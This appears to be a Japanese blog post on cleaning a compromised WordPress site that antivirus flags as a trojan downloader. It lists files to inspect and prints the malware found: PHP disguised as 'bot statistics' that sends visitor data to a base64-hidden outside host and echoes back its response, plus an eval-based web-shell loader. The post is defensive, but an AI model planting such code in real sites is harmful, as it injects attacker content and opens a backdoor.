[WP] ウィルス対策ソフトで「trojan-downloader.js.○○○○」と出てしまった場合。
調べるべきファイル
WordPressで構築しているサイトに於いて、カスペルスキーやaguse.jpで「trojan-downloader.js.○○○○」と出てしまった場合は、下記を疑ってみる。
- /index.php
- /wp-admin/index.php
- /wp-admin/admin-footer.php
- /wp-content/ 直下にindex.phpが置かれる
- /wp-content/themes/(テーマ名)/footer.php
兎に角、各ディレクトリやを探ってみて更新日(タイムスタンプ)に身に覚えの無い場合、怪しい場合は要注意。
記述されるソース:例
ソース上にこのような記述がされていたら要注意。
※あまりこういったコード自体を晒しては行けないんですが・・・
<?php // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if(!(strpos($sUserAgent, 'google') === false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL3(....中略....)QucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } else { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0c(....中略....)XQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = curl_exec($stCurlHandle); echo $sResult; // Statistic code end curl_close($stCurlHandle); } ?>
<?php // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if(!(strpos($sUserAgent, 'google') === false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } else { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = curl_exec($stCurlHandle); echo $sResult; // Statistic code end curl_close($stCurlHandle); } ?>
原因
いろいろ調べてみたところ、base64_decodeが埋め込まれてたことが発覚
/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/ の中に wp-form.php というファイルが置かれており
if(isset( $_GET['4362af97c8f'])) { $auth_pass = "6eac901b7(中略)898e32d12"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","eval(gzinflate(base64_decode('5b1pdxrHEjD82fec(....中略....)EiippqKn6fwE='))); ","."); }
という記述を発見。『tinymce』ディレクトリ自体をバックアップと差し替え様子をみる。
詳しいことはまだ分からないのだが、どうやらwordpressの管理画面から「投稿」する度に発動する模様